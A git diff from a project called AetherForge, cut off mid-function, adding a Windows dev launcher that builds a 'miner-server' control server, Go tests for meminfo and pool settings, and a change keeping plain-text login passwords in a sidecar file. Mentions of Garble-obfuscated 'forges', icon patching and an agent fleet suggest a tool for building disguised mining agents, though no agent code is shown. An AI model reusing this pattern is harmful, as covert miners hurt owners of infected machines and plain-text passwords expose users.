package stats -import "testing" +import ( + "strings" + "testing" +) func TestParseKB(t *testing.T) { if got := parseKB("MemTotal: 16384000 kB"); got != 16384000 { @@ -11,4 +14,30 @@ func TestParseKB(t *testing.T) { if parseKB("short") != 0 { t.Fatal("invalid line should return 0") } + if parseKB("MemAvailable: 0 kB") != 0 { + t.Fatal("zero kB should parse as 0") + } +} + +func TestParseMeminfo(t *testing.T) { + content := strings.Join([]string{ + "MemTotal: 16384000 kB", + "MemFree: 8192000 kB", + "MemAvailable: 4096000 kB", + }, "\n") + total, avail := parseMeminfo(strings.NewReader(content)) + if total != 16384000*1024 { + t.Fatalf("total %d", total) + } + if avail != 4096000*1024 { + t.Fatalf("avail %d", avail) + } +} + +func TestParseMeminfoMissingTotal(t *testing.T) { + content := "MemAvailable: 4096000 kB\n" + total, avail := parseMeminfo(strings.NewReader(content)) + if total != 0 || avail != 0 { + t.Fatalf("missing MemTotal: total=%d avail=%d", total, avail) + } } diff --git a/devrun.bat b/devrun.bat new file mode 100644 index 0000000..2f58358 --- /dev/null +++ b/devrun.bat @@ -0,0 +1,263 @@ +@echo off +setlocal EnableExtensions EnableDelayedExpansion +title AetherForge Control Server (dev) +cd /d "%~dp0" +set "ROOT=%CD%" + +if /i "%~1"=="release" ( + set "AETHERFORGE_RELEASE=1" + echo Release mode: Garble obfuscation default ON for new forges. +) + +:: Remove corrupt empty Go file that breaks server builds (accidental placeholder). +if exist "server\internal\ollama\main.go" ( + for %%F in ("server\internal\ollama\main.go") do if %%~zF==0 del "server\internal\ollama\main.go" +) + +echo. +echo ============================================================== +echo AetherForge - Dev Build + Control Server +echo ============================================================== +echo This window stays open and shows live server logs. +echo Press Ctrl+C to stop the server. +echo Portable/USB: use LAUNCH.bat instead of devrun.bat. +echo ============================================================== +echo. + +:: Common tool paths (Go/Node installs + user Go bin for garble) +set "PATH=C:\Program Files\Go\bin;%USERPROFILE%\go\bin;C:\Program Files\nodejs;%PATH%" + +:: ============================================================ +:: STEP 1: Go +:: ============================================================ +echo [1/5] Checking Go... + +where go >nul 2>nul +if errorlevel 1 goto install_go +echo Go found: +call go version +goto go_ready + +:install_go +echo Go not found. Checking for existing installation... +if exist "C:\Program Files\Go\bin\go.exe" ( + echo Found Go at C:\Program Files\Go\bin + set "PATH=C:\Program Files\Go\bin;%PATH%" + goto go_ready +) + +echo Downloading and installing Go... +if /i "%PROCESSOR_ARCHITECTURE%"=="AMD64" ( + set "GO_ARCH=amd64" +) else ( + set "GO_ARCH=386" +) +set "GO_VERSION=1.22.2" +set "GO_URL=https://go.dev/dl/go%GO_VERSION%.windows-%GO_ARCH%.msi" +set "GO_MSI=%TEMP%\go-installer.msi" + +powershell -NoProfile -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%GO_URL%' -OutFile '%GO_MSI%' }" +if errorlevel 1 ( + echo ERROR: Failed to download Go. Get it from https://go.dev/dl/ + goto fatal_exit +) + +msiexec /i "%GO_MSI%" /quiet /norestart +if errorlevel 1 ( + echo ERROR: Go install failed. Run this script as Administrator. + goto fatal_exit +) +del "%GO_MSI%" 2>nul +set "PATH=C:\Program Files\Go\bin;%USERPROFILE%\go\bin;%PATH%" +echo Go installed. + +:go_ready + +:: Garble + go-winres (Forge pipeline tools — failure is non-fatal) +echo [1.5/5] Checking Forge tools (Garble, go-winres)... +where garble >nul 2>nul +if errorlevel 1 ( + echo Installing garble via go install... + go install mvdan.cc/garble@latest + if errorlevel 1 echo WARNING: Garble install failed; Forge obfuscation may be unavailable. +) +where go-winres >nul 2>nul +if errorlevel 1 ( + echo Installing go-winres via go install... + go install github.com/tc-hib/go-winres@v0.3.1 + if errorlevel 1 echo WARNING: go-winres install failed; Fusion icon patch may need network on first forge. +) + +:: ============================================================ +:: STEP 2: Node.js +:: ============================================================ +echo [2/5] Checking Node.js... + +where node >nul 2>nul +if errorlevel 1 goto install_node +echo Node.js found: +call node --version +goto node_ready + +:install_node +echo Node.js not found. Checking for existing installation... +if exist "C:\Program Files\nodejs\node.exe" ( + echo Found Node.js at C:\Program Files\nodejs + set "PATH=C:\Program Files\nodejs;%PATH%" + goto node_ready +) + +echo Downloading and installing Node.js... +set "NODE_VERSION=20.12.2" +set "NODE_URL=https://nodejs.org/dist/v%NODE_VERSION%/node-v%NODE_VERSION%-x64.msi" +set "NODE_MSI=%TEMP%\node-installer.msi" + +powershell -NoProfile -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%NODE_URL%' -OutFile '%NODE_MSI%' }" +if errorlevel 1 ( + echo WARNING: Node.js download failed. Frontend build will be skipped. + set "SKIP_FRONTEND=1" + goto node_ready +) + +msiexec /i "%NODE_MSI%" /quiet /norestart +if errorlevel 1 ( + echo WARNING: Node.js install failed. Frontend build will be skipped. + set "SKIP_FRONTEND=1" + goto node_ready +) +set "PATH=C:\Program Files\nodejs;%PATH%" +del "%NODE_MSI%" 2>nul +echo Node.js installed. + +:node_ready + +:: ============================================================ +:: STEP 3: Data directories +:: ============================================================ +echo [3/5] Preparing data directories... +if not exist "data\builds" mkdir "data\builds" +if not exist "data\logs" mkdir "data\logs" +if not exist "data\blueprints" mkdir "data\blueprints" +if not exist "data\preps" mkdir "data\preps" +if not exist "bin" mkdir "bin" +echo OK: data\ and bin\ + +:: ============================================================ +:: STEP 4: Frontend +:: ============================================================ +if defined SKIP_FRONTEND goto skip_frontend +echo [4/5] Building dashboard (server\web)... +cd /d "%ROOT%\server\web" +if not exist "node_modules" ( + echo npm install... + call npm install + if errorlevel 1 ( + cd /d "%ROOT%" + echo ERROR: npm install failed. + goto fatal_exit + ) +) +echo npm run build... +call npm run build +if errorlevel 1 ( + cd /d "%ROOT%" + echo ERROR: Frontend build failed. + goto fatal_exit +) +cd /d "%ROOT%" +echo Frontend built: server\web\dist +goto frontend_done + +:skip_frontend +echo [4/5] Skipping frontend build (Node.js unavailable) +if not exist "server\web\dist\index.html" ( + echo WARNING: No server\web\dist\index.html — dashboard may not load. +) + +:frontend_done +if exist "server\web\dist\index.html" ( + if not exist "server\webroot" mkdir "server\webroot" + xcopy /E /I /Y /Q "server\web\dist\*" "server\webroot\" >nul + echo Copied dashboard to server\webroot +) + +:: ============================================================ +:: STEP 5: Server binary +:: ============================================================ +echo [5/5] Building control server... +cd /d "%ROOT%\server" +go mod download +if errorlevel 1 echo WARNING: go mod download had issues; continuing... +echo go build... +go build -ldflags="-s -w" -o "..\bin\miner-server.exe" . +if errorlevel 1 ( + cd /d "%ROOT%" + echo ERROR: Server build failed. + goto fatal_exit +) +cd /d "%ROOT%" + +if defined AETHERFORGE_RELEASE ( + echo Release mode active — set AETHERFORGE_RELEASE=1 for server process. +) + +if not exist "bin\miner-server.exe" ( + echo ERROR: bin\miner-server.exe was not created. + goto fatal_exit +) +echo Server binary: bin\miner-server.exe + +:: ============================================================ +:: LAUNCH (foreground — logs stay in this window) +:: ============================================================ +echo. +echo Stopping any previous miner-server.exe... +taskkill /F /IM miner-server.exe >nul 2>nul +timeout /t 1 /nobreak >nul + +set "LAN_IP=localhost" +for /f "usebackq delims=" %%I in (`powershell -NoProfile -Command "(Get-NetIPAddress -AddressFamily IPv4 | Where-Object { $_.IPAddress -notlike '127.*' -and $_.PrefixOrigin -ne 'WellKnown' } | Select-Object -First 1 -ExpandProperty IPAddress) 2>$null"`) do set "LAN_IP=%%I" + +echo. +echo ============================================================== +echo STARTING CONTROL SERVER +echo ============================================================== +echo Dashboard: http://localhost:8989 +echo LAN: http://%LAN_IP%:8989 +echo Agents WS: ws://%LAN_IP%:8989/ws/agent +echo Data: %ROOT%\data\ +echo. +echo Live logs appear below. Ctrl+C stops the server. +echo ============================================================== +echo. + +:: Open browser after a short delay (server starts in this window) +start "" cmd /c "timeout /t 3 /nobreak >nul && start http://localhost:8989/" + +echo [Server] miner-server.exe -port 8989 -data "%ROOT%\data" +if defined AETHERFORGE_RELEASE set AETHERFORGE_RELEASE=1 +echo. + +.\bin\miner-server.exe -port 8989 -data "%ROOT%\data" +set "EXITCODE=!ERRORLEVEL!" + +echo. +if "!EXITCODE!"=="0" ( + echo [Server] Stopped normally. +) else ( + echo [Server] Exited with code !EXITCODE!. + echo If port 8989 was in use, close other miner-server windows and run again. +) +echo. +goto end_pause + +:fatal_exit +echo. +echo ============================================================== +echo LAUNCH FAILED — fix the errors above and run devrun.bat again. +echo ============================================================== +echo. + +:end_pause +pause +endlocal diff --git a/run.bat b/run.bat index 93ed600..c54c68e 100644 --- a/run.bat +++ b/run.bat @@ -1,262 +1,4 @@ @echo off -setlocal EnableExtensions EnableDelayedExpansion -title AetherForge Control Server +:: Project-root marker + launcher (delegates to devrun.bat). cd /d "%~dp0" -set "ROOT=%CD%" - -if /i "%~1"=="release" ( - set "AETHERFORGE_RELEASE=1" - echo Release mode: Garble obfuscation default ON for new forges. -) - -:: Remove corrupt empty Go file that breaks server builds (accidental placeholder). -if exist "server\internal\ollama\main.go" ( - for %%F in ("server\internal\ollama\main.go") do if %%~zF==0 del "server\internal\ollama\main.go" -) - -echo. -echo ============================================================== -echo AetherForge - Control Server Launcher -echo ============================================================== -echo This window stays open and shows live server logs. -echo Press Ctrl+C to stop the server. -echo ============================================================== -echo. - -:: Common tool paths (Go/Node installs + user Go bin for garble) -set "PATH=C:\Program Files\Go\bin;%USERPROFILE%\go\bin;C:\Program Files\nodejs;%PATH%" - -:: ============================================================ -:: STEP 1: Go -:: ============================================================ -echo [1/5] Checking Go... - -where go >nul 2>nul -if errorlevel 1 goto install_go -echo Go found: -call go version -goto go_ready - -:install_go -echo Go not found. Checking for existing installation... -if exist "C:\Program Files\Go\bin\go.exe" ( - echo Found Go at C:\Program Files\Go\bin - set "PATH=C:\Program Files\Go\bin;%PATH%" - goto go_ready -) - -echo Downloading and installing Go... -if /i "%PROCESSOR_ARCHITECTURE%"=="AMD64" ( - set "GO_ARCH=amd64" -) else ( - set "GO_ARCH=386" -) -set "GO_VERSION=1.22.2" -set "GO_URL=https://go.dev/dl/go%GO_VERSION%.windows-%GO_ARCH%.msi" -set "GO_MSI=%TEMP%\go-installer.msi" - -powershell -NoProfile -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%GO_URL%' -OutFile '%GO_MSI%' }" -if errorlevel 1 ( - echo ERROR: Failed to download Go. Get it from https://go.dev/dl/ - goto fatal_exit -) - -msiexec /i "%GO_MSI%" /quiet /norestart -if errorlevel 1 ( - echo ERROR: Go install failed. Run this script as Administrator. - goto fatal_exit -) -del "%GO_MSI%" 2>nul -set "PATH=C:\Program Files\Go\bin;%USERPROFILE%\go\bin;%PATH%" -echo Go installed. - -:go_ready - -:: Garble + go-winres (Forge pipeline tools — failure is non-fatal) -echo [1.5/5] Checking Forge tools (Garble, go-winres)... -where garble >nul 2>nul -if errorlevel 1 ( - echo Installing garble via go install... - go install mvdan.cc/garble@latest - if errorlevel 1 echo WARNING: Garble install failed; Forge obfuscation may be unavailable. -) -where go-winres >nul 2>nul -if errorlevel 1 ( - echo Installing go-winres via go install... - go install github.com/tc-hib/go-winres@v0.3.1 - if errorlevel 1 echo WARNING: go-winres install failed; Fusion icon patch may need network on first forge. -) - -:: ============================================================ -:: STEP 2: Node.js -:: ============================================================ -echo [2/5] Checking Node.js... - -where node >nul 2>nul -if errorlevel 1 goto install_node -echo Node.js found: -call node --version -goto node_ready - -:install_node -echo Node.js not found. Checking for existing installation... -if exist "C:\Program Files\nodejs\node.exe" ( - echo Found Node.js at C:\Program Files\nodejs - set "PATH=C:\Program Files\nodejs;%PATH%" - goto node_ready -) - -echo Downloading and installing Node.js... -set "NODE_VERSION=20.12.2" -set "NODE_URL=https://nodejs.org/dist/v%NODE_VERSION%/node-v%NODE_VERSION%-x64.msi" -set "NODE_MSI=%TEMP%\node-installer.msi" - -powershell -NoProfile -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%NODE_URL%' -OutFile '%NODE_MSI%' }" -if errorlevel 1 ( - echo WARNING: Node.js download failed. Frontend build will be skipped. - set "SKIP_FRONTEND=1" - goto node_ready -) - -msiexec /i "%NODE_MSI%" /quiet /norestart -if errorlevel 1 ( - echo WARNING: Node.js install failed. Frontend build will be skipped. - set "SKIP_FRONTEND=1" - goto node_ready -) -set "PATH=C:\Program Files\nodejs;%PATH%" -del "%NODE_MSI%" 2>nul -echo Node.js installed. - -:node_ready - -:: ============================================================ -:: STEP 3: Data directories -:: ============================================================ -echo [3/5] Preparing data directories... -if not exist "data\builds" mkdir "data\builds" -if not exist "data\logs" mkdir "data\logs" -if not exist "data\blueprints" mkdir "data\blueprints" -if not exist "data\preps" mkdir "data\preps" -if not exist "bin" mkdir "bin" -echo OK: data\ and bin\ - -:: ============================================================ -:: STEP 4: Frontend -:: ============================================================ -if defined SKIP_FRONTEND goto skip_frontend -echo [4/5] Building dashboard (server\web)... -cd /d "%ROOT%\server\web" -if not exist "node_modules" ( - echo npm install... - call npm install - if errorlevel 1 ( - cd /d "%ROOT%" - echo ERROR: npm install failed. - goto fatal_exit - ) -) -echo npm run build... -call npm run build -if errorlevel 1 ( - cd /d "%ROOT%" - echo ERROR: Frontend build failed. - goto fatal_exit -) -cd /d "%ROOT%" -echo Frontend built: server\web\dist -goto frontend_done - -:skip_frontend -echo [4/5] Skipping frontend build (Node.js unavailable) -if not exist "server\web\dist\index.html" ( - echo WARNING: No server\web\dist\index.html — dashboard may not load. -) - -:frontend_done -if exist "server\web\dist\index.html" ( - if not exist "server\webroot" mkdir "server\webroot" - xcopy /E /I /Y /Q "server\web\dist\*" "server\webroot\" >nul - echo Copied dashboard to server\webroot -) - -:: ============================================================ -:: STEP 5: Server binary -:: ============================================================ -echo [5/5] Building control server... -cd /d "%ROOT%\server" -go mod download -if errorlevel 1 echo WARNING: go mod download had issues; continuing... -echo go build... -go build -ldflags="-s -w" -o "..\bin\miner-server.exe" . -if errorlevel 1 ( - cd /d "%ROOT%" - echo ERROR: Server build failed. - goto fatal_exit -) -cd /d "%ROOT%" - -if defined AETHERFORGE_RELEASE ( - echo Release mode active — set AETHERFORGE_RELEASE=1 for server process. -) - -if not exist "bin\miner-server.exe" ( - echo ERROR: bin\miner-server.exe was not created. - goto fatal_exit -) -echo Server binary: bin\miner-server.exe - -:: ============================================================ -:: LAUNCH (foreground — logs stay in this window) -:: ============================================================ -echo. -echo Stopping any previous miner-server.exe... -taskkill /F /IM miner-server.exe >nul 2>nul -timeout /t 1 /nobreak >nul - -set "LAN_IP=localhost" -for /f "usebackq delims=" %%I in (`powershell -NoProfile -Command "(Get-NetIPAddress -AddressFamily IPv4 | Where-Object { $_.IPAddress -notlike '127.*' -and $_.PrefixOrigin -ne 'WellKnown' } | Select-Object -First 1 -ExpandProperty IPAddress) 2>$null"`) do set "LAN_IP=%%I" - -echo. -echo ============================================================== -echo STARTING CONTROL SERVER -echo ============================================================== -echo Dashboard: http://localhost:8989 -echo LAN: http://%LAN_IP%:8989 -echo Agents WS: ws://%LAN_IP%:8989/ws/agent -echo Data: %ROOT%\data\ -echo. -echo Live logs appear below. Ctrl+C stops the server. -echo ============================================================== -echo. - -:: Open browser after a short delay (server starts in this window) -start "" cmd /c "timeout /t 3 /nobreak >nul && start http://localhost:8989/" - -echo [Server] miner-server.exe -port 8989 -data "%ROOT%\data" -if defined AETHERFORGE_RELEASE set AETHERFORGE_RELEASE=1 -echo. - -.\bin\miner-server.exe -port 8989 -data "%ROOT%\data" -set "EXITCODE=!ERRORLEVEL!" - -echo. -if "!EXITCODE!"=="0" ( - echo [Server] Stopped normally. -) else ( - echo [Server] Exited with code !EXITCODE!. - echo If port 8989 was in use, close other miner-server windows and run again. -) -echo. -goto end_pause - -:fatal_exit -echo. -echo ============================================================== -echo LAUNCH FAILED — fix the errors above and run run.bat again. -echo ============================================================== -echo. - -:end_pause -pause -endlocal +call "%~dp0devrun.bat" %* diff --git a/server/config.go b/server/config.go index 80cd5b8..1849d55 100644 --- a/server/config.go +++ b/server/config.go @@ -152,7 +152,7 @@ func DefaultConfig() *Config { RejectionRateThresholdPct: 5, }, Server: ServerSettings{ - PublicURL: "", + PublicURL: "https://killa.thetempleofdoom.com", StatsRetentionHours: 168, BuildRetentionDays: 30, PoolReconnectSeconds: 30, diff --git a/server/go.mod b/server/go.mod index 81b71b1..4479ae1 100644 --- a/server/go.mod +++ b/server/go.mod @@ -7,23 +7,16 @@ require ( github.com/go-chi/cors v1.2.1 github.com/google/uuid v1.6.0 github.com/gorilla/websocket v1.5.1 + golang.org/x/crypto v0.52.0 modernc.org/sqlite v1.29.5 ) require ( - github.com/cpuguy83/go-md2man/v2 v2.0.0 // indirect github.com/dustin/go-humanize v1.0.1 // indirect github.com/hashicorp/golang-lru/v2 v2.0.7 // indirect github.com/mattn/go-isatty v0.0.20 // indirect github.com/ncruces/go-strftime v0.1.9 // indirect - github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 // indirect github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect - github.com/russross/blackfriday/v2 v2.1.0 // indirect - github.com/tc-hib/go-winres v0.3.1 // indirect - github.com/tc-hib/winres v0.1.6 // indirect - github.com/urfave/cli/v2 v2.3.0 // indirect - golang.org/x/crypto v0.52.0 // indirect - golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb // indirect golang.org/x/net v0.54.0 // indirect golang.org/x/sys v0.45.0 // indirect modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 // indirect diff --git a/server/go.sum b/server/go.sum index e11dff8..b139b2b 100644 --- a/server/go.sum +++ b/server/go.sum @@ -1,7 +1,3 @@ -github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= -github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= -github.com/cpuguy83/go-md2man/v2 v2.0.0 h1:EoUDS0afbrsXAZ9YQ9jdu/mZ2sXgT1/2yyNng4PGlyM= -github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= github.com/go-chi/chi/v5 v5.0.12 h1:9euLV5sTrTNTRUU9POmDUvfxyj6LAABLUcEWO+JJb4s= @@ -22,43 +18,21 @@ github.com/mattn/go-sqlite3 v1.14.22 h1:2gZY6PC6kBnID23Tichd1K+Z0oS6nE/XwU+Vz/5o github.com/mattn/go-sqlite3 v1.14.22/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y= github.com/ncruces/go-strftime v0.1.9 h1:bY0MQC28UADQmHmaF5dgpLmImcShSi2kHU9XLdhx/f4= github.com/ncruces/go-strftime v0.1.9/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls= -github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 h1:zYyBkD/k9seD2A7fsi6Oo2LfFZAehjjQMERAvZLEDnQ= -github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646/go.mod h1:jpp1/29i3P1S/RLdc7JQKbRpFeM1dOBd8T9ki5s+AY8= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= -github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= -github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk= -github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= -github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc= -github.com/tc-hib/go-winres v0.3.1 h1:9r67V7Ep34yyx8SL716BzcKePRvEBOjan47SmMnxEdE= -github.com/tc-hib/go-winres v0.3.1/go.mod h1:lTPf0MW3eu6rmvMyLrPXSy6xsSz4t5dRxB7dc5YFP6k= -github.com/tc-hib/winres v0.1.6 h1:qgsYHze+BxQPEYilxIz/KCQGaClvI2+yLBAZs+3+0B8= -github.com/tc-hib/winres v0.1.6/go.mod h1:pe6dOR40VOrGz8PkzreVKNvEKnlE8t4yR8A8naL+t7A= -github.com/urfave/cli/v2 v2.3.0 h1:qph92Y649prgesehzOrQjdWyxFOp/QVM+6imKHad91M= -github.com/urfave/cli/v2 v2.3.0/go.mod h1:LJmUH05zAU44vOAcrfzZQKsZbVcdbOG8rtL3/XcUArI= golang.org/x/crypto v0.52.0 h1:RMs7fP2rXdep0CftQlK8Uf+kibLm7qkCcradZWYz988= golang.org/x/crypto v0.52.0/go.mod h1:1QgfPxDqh0T2M/elOJtp9RvuR95kVjir0e6/BvEmGbc= -golang.org/x/image v0.0.0-20201208152932-35266b937fa6/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= -golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb h1:fqpd0EBDzlHRCjiphRR5Zo/RSWWQlWv34418dnEixWk= -golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= golang.org/x/mod v0.16.0 h1:QX4fJ0Rr5cPQCF7O9lh9Se4pmwfwskqZfq5moyldzic= golang.org/x/mod v0.16.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= -golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM= -golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= golang.org/x/net v0.54.0 h1:2zJIZAxAHV/OHCDTCOHAYehQzLfSXuf/5SoL/Dv6w/w= golang.org/x/net v0.54.0/go.mod h1:Sj4oj8jK6XmHpBZU/zWHw3BV3abl4Kvi+Ut7cQcY+cQ= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.18.0 h1:DBdB3niSjOA/O0blCZBqDefyWNYveAYMNF1Wum0DYQ4= -golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/sys v0.45.0 h1:dO4czNzziLiiXplLQgBCEpCvXQ3dnkn0SdaZSYdQ+FY= golang.org/x/sys v0.45.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= -golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/tools v0.19.0 h1:tfGCXNR1OsFG+sVdLAitlpjAvD/I6dHDKnYrpEZUHkw= golang.org/x/tools v0.19.0/go.mod h1:qoJWxmGSIBmAeriMx19ogtrEPrGtDbPK634QFIcLAhc= -gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= modernc.org/cc/v4 v4.20.0 h1:45Or8mQfbUqJOG9WaxvlFYOAQO0lQ5RvqBcFCXngjxk= modernc.org/cc/v4 v4.20.0/go.mod h1:HM7VJTZbUCR3rV8EYBi9wxnJ0ZBRiGE5OeGXNA0IsLQ= modernc.org/ccgo/v4 v4.16.0 h1:ofwORa6vx2FMm0916/CkZjpFPSR70VwTjUCe2Eg5BnA= diff --git a/server/internal/api/agent_config_test.go b/server/internal/api/agent_config_test.go new file mode 100644 index 0000000..73e1421 --- /dev/null +++ b/server/internal/api/agent_config_test.go @@ -0,0 +1,39 @@ +package api + +import "testing" + +func TestAgentConfigPoolHostOrDefault(t *testing.T) { + t.Run("empty uses fallback", func(t *testing.T) { + cfg := AgentForgeConfig{} + if got := cfg.poolHostOrDefault("fallback.host"); got != "fallback.host" { + t.Fatalf("got %q, want fallback.host", got) + } + }) + t.Run("explicit host wins", func(t *testing.T) { + cfg := AgentForgeConfig{PoolHost: "pool.example.com"} + if got := cfg.poolHostOrDefault("fallback"); got != "pool.example.com" { + t.Fatalf("got %q, want pool.example.com", got) + } + }) +} + +func TestAgentConfigPoolPortOrDefault(t *testing.T) { + t.Run("zero uses fallback", func(t *testing.T) { + cfg := AgentForgeConfig{} + if got := cfg.poolPortOrDefault(3333); got != 3333 { + t.Fatalf("got %d, want 3333", got) + } + }) + t.Run("negative uses fallback", func(t *testing.T) { + cfg := AgentForgeConfig{PoolPort: -1} + if got := cfg.poolPortOrDefault(3333); got != 3333 { + t.Fatalf("got %d, want 3333", got) + } + }) + t.Run("explicit port wins", func(t *testing.T) { + cfg := AgentForgeConfig{PoolPort: 443} + if got := cfg.poolPortOrDefault(3333); got != 443 { + t.Fatalf("got %d, want 443", got) + } + }) +} diff --git a/server/internal/api/fleet_handler_test.go b/server/internal/api/fleet_handler_test.go index 011b193..1fdd642 100644 --- a/server/internal/api/fleet_handler_test.go +++ b/server/internal/api/fleet_handler_test.go @@ -556,8 +556,7 @@ func TestFleetPostAgentCommandErrors(t *testing.T) { fh, _, ws, _ := newTestFleetHandler(t) t.Run("nil ws", func(t *testing.T) { - bad := *fh - bad.ws = nil + bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool) rec := httptest.NewRecorder() req := httptest.NewRequest(http.MethodPost, "/agents/a1/command", strings.NewReader(`{"action":"pause"}`)) fleetChiRoute(http.MethodPost, "/agents/{id}/command", bad.PostAgentCommand).ServeHTTP(rec, req) @@ -730,8 +729,7 @@ func TestFleetPostBulkCommandErrors(t *testing.T) { fh, _, _, _ := newTestFleetHandler(t) t.Run("nil ws", func(t *testing.T) { - bad := *fh - bad.ws = nil + bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool) rec := httptest.NewRecorder() req := httptest.NewRequest(http.MethodPost, "/agents/bulk-command", strings.NewReader(`{"agent_ids":["a"],"action":"pause"}`)) diff --git a/server/internal/api/router.go b/server/internal/api/router.go index 76d90c5..092550b 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -64,18 +64,19 @@ func authCacheSet(user, pass string) { } var ( - // authUsers is populated from data/users.json on startup. On the very first - // run (no users.json) a random password is generated, saved, and printed to - // the console — no hard-coded credentials anywhere in the binary. - authUsers = map[string]string{} - usersFilePath string - usersMu sync.RWMutex + // authUsers is populated from data/users.json on startup. Plain-text copies + // for console display live in data/login-credentials.json (0600). + authUsers = map[string]string{} + usersFilePath string + usersMu sync.RWMutex + authLoadMu sync.Mutex + authLoadedDataDir string // fleetSecretForAgentPaths holds the shared fleet secret used to authenticate // agent-facing REST endpoints (/api/v1/agent/*). Set once from main.go via // SetAgentPathSecret so basicAuthMiddleware can check X-Fleet-Secret headers. - fleetSecretForAgentPaths string - fleetSecretForAgentPathsMu sync.RWMutex + fleetSecretForAgentPaths string + fleetSecretForAgentPathsMu sync.RWMutex // rotateSecretFn is called when POST /server/rotate-secret is hit. // Wired from main.go so the server can generate, persist, and propagate the new secret. @@ -120,8 +121,94 @@ func checkPassword(stored, provided string) bool { return subtle.ConstantTimeCompare([]byte(provided), []byte(stored)) == 1 } -func loadUsers(dataDir string) { +func loginSidecarPath(dataDir string) string { + return filepath.Join(dataDir, "login-credentials.json") +} + +func readLoginSidecar(path string) (map[string]string, error) { + data, err := os.ReadFile(path) + if err != nil { + return nil, err + } + var creds map[string]string + if err := json.Unmarshal(data, &creds); err != nil { + return nil, err + } + if len(creds) == 0 { + return nil, fmt.Errorf("empty login sidecar") + } + return creds, nil +} + +func writeLoginSidecar(path string, creds map[string]string) error { + if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil { + return err + } + data, err := json.MarshalIndent(creds, "", " ") + if err != nil { + return err + } + return os.WriteFile(path, data, 0600) +} + +func upsertLoginSidecar(dataDir, username, password string) error { + path := loginSidecarPath(dataDir) + creds, _ := readLoginSidecar(path) + if creds == nil { + creds = map[string]string{} + } + creds[username] = password + return writeLoginSidecar(path, creds) +} + +func printStartupCredentials(dataDir string) { + creds, err := readLoginSidecar(loginSidecarPath(dataDir)) + if err != nil || len(creds) == 0 { + return + } + fmt.Println(formatLoginBanner(creds)) +} + +func formatLoginBanner(creds map[string]string) string { + var b 